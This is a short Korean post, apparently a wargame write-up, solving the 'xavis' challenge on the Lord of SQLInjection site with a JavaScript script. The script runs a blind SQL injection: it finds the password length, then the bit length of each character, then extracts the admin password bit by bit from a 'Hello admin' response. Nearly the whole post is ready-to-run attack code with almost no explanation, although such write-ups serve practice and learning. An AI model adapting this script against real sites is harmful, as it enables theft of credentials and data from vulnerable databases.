유니코드 Blind SQL Injection(JS)

 

반복문 도는게 조금 이상한데 이런식으로 하면 된다.

 

 with "los Xavis"

const hack = async (url, cookies) => {
    let res = await fetch(encodeURI(url), {
        "headers" : {
            "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
            "accept-language": "ko-KR,ko;q=0.9",
            "cookies" : cookies
        },
        "referrer": "https://los.rubiya.kr/gate.php",
          "referrerPolicy": "strict-origin-when-cross-origin",
          "body": null,
          "method": "GET",
          "mode": "cors",
          "credentials": "include"
    }).then( (res) => {
        return res.text();
    });
 
    return res;
}
 
let pw_length = 0;
for(var i = 0; i < 100; i++){
    let res = await hack(`https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=1' or length(pw)=${i} -- ` , document.cookies)
    if(res.indexOf("<h2>Hello admin</h2>") != -1){
        pw_length = i;
        break;
    }
}
console.log(`pw_length : ${pw_length}`)
 
 
 
let byte_length = 0;
for(var i = 1; i < 100; i++){
    let res = await hack(`https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=1' or length(bin(ord(substr(pw,1,1))))=${i} -- ` , document.cookies)
    if(res.indexOf("<h2>Hello admin</h2>") != -1){
        byte_length = i;
        console.log(`byte_length : ${byte_length}`)
    }
}
 
 
let password = "";
let bit = "";
for(var i = 1; i <= pw_length; i++){
    for(var j = 1; j <= byte_length; j++){
        let res = await hack(`https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=1' or substr(lpad(bin(ord(substr(pw,${i},1))),${byte_length},0),${j},1)=1 -- `, document.cookies);
        if(res.indexOf("<h2>Hello admin</h2>") != -1){
            bit += "1";
        } else {
            bit += "0";
        }
    }
    password += String.fromCharCode(parseInt(bit, 2));
    console.log(`[*] password : ${password}`);
    bit = "";
}